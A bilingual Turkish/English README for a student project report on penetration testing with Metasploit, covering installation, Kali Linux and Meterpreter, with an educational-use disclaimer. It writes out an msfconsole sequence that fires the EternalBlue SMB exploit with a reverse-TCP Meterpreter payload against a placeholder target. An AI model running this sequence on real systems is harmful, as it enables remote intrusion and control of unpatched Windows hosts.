Bu repo, Metasploit ile Sızma Testi üzerine yazılmış final proje ödevini içermektedir. Projede, Metasploit'in temel kullanımı, sızma testleri ve güvenlik araçları hakkında detaylı bilgiler bulunmaktadır.
This repository contains the Metasploit Penetration Testing final project report. The project includes detailed information on the basic usage of Metasploit, penetration testing, and security tools.
Bu çalışmada, sızma testlerinin nasıl yapıldığı ve Metasploit Framework'ün siber güvenlik testlerinde nasıl kullanıldığı incelenmiştir. Proje kapsamında aşağıdaki konular detaylı bir şekilde ele alınmıştır:
This project examines how penetration tests are conducted and how the Metasploit Framework is used in cybersecurity testing. The following topics are covered in detail:
- İşletim sistemleri ve güvenlik / Operating Systems and Security
- Kali Linux kurulumu ve kullanımı / Installation and Usage of Kali Linux
- Metasploit nedir, nasıl kullanılır? / What is Metasploit and How to Use It?
- Exploit ve payload oluşturma / Creating Exploits and Payloads
- Meterpreter ile sistem kontrolü / System Control with Meterpreter
Metasploit'i yüklemek için aşağıdaki komutları terminalde çalıştırabilirsiniz:
To install Metasploit, run the following commands in the terminal:
sudo apt update && sudo apt install metasploit-framework
Eğer Metasploit'i doğrudan Rapid7 üzerinden yüklemek isterseniz:
If you want to install Metasploit directly from Rapid7:
curl https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfinstall > msfinstall
chmod 755 msfinstall
./msfinstall
Dosyada aşağıdaki başlıklar bulunmaktadır:
The document contains the following sections:
- İşletim Sistemleri ve Güvenlik / Operating Systems and Security: Linux, Android ve Unix sistemleri üzerine detaylı bilgiler. / Detailed information on Linux, Android, and Unix systems.
- Sanallaştırma Teknolojisi / Virtualization Technology: Kali Linux'un sanal makineye kurulumu. / Installation of Kali Linux on a virtual machine.
- Metasploit Kullanımı / Using Metasploit: Exploit ve payload oluşturma süreçleri. / The process of creating exploits and payloads.
- Meterpreter: Hedef sistem kontrolü ve güvenlik analizi. / Target system control and security analysis.
Metasploit'i çalıştırmak için aşağıdaki komutları kullanabilirsiniz:
To run Metasploit, use the following commands:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOST <hedef-ip / target-ip>
set LHOST <kendi-ip / your-ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Bu komutlarla sistemlerde güvenlik testleri yapabilir ve sızma testi süreçlerini deneyimleyebilirsiniz.
With these commands, you can conduct security tests and experience penetration testing processes.
Bu proje eğitim ve araştırma amaçlıdır. İzinsiz güvenlik testleri yapmak yasadışıdır ve etik dışıdır. Lütfen bu projeyi yalnızca kendi sistemlerinizde test edin.
This project is for educational and research purposes only. Conducting unauthorized security tests is illegal and unethical. Please test this project only on your own systems.
Bu repo siber güvenlik alanına ilgi duyanlar için rehber niteliğinde olup, Metasploit Framework ile ilgili temel bilgileri içermektedir. Eğer katkıda bulunmak isterseniz, pull request gönderebilir veya issue açabilirsiniz.
This repository serves as a guide for those interested in cybersecurity and contains essential information about the Metasploit Framework. If you would like to contribute, feel free to submit a pull request or open an issue.
Ayrıca, akademik rehberliği ve katkıları için Çisem Yaşar ⭐ hocamıza teşekkür ederiz.
Additionally, we would like to express our gratitude to our mentor Çisem Yaşar ⭐ for her academic guidance and contributions.